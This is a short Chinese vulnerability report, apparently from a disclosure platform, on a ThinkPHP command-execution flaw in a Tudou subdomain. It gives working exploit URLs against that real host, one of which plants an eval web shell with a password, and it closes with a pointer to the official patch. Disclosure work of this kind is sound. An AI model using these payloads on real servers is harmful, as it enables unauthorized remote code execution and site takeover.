土豆分站任意代码执行，同服务器上有好几个活动页面
详细说明：
 
用的phpthink框架 存在命令执行漏洞
http://a.tudou.com/specapp/index.php/module/action/param1/${@phpinfo()}
 
直接拿shell
：
http://a.tudou.com/specapp/index.php/module/action/param1/${@eval%28$_POST[f]%29} 密码：F
漏洞证明：
 
http://a.tudou.com/specapp/index.php/module/action/param1/${@phpinfo()}
自己打开看
修复方案：
 
官方补丁：http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
作者Finger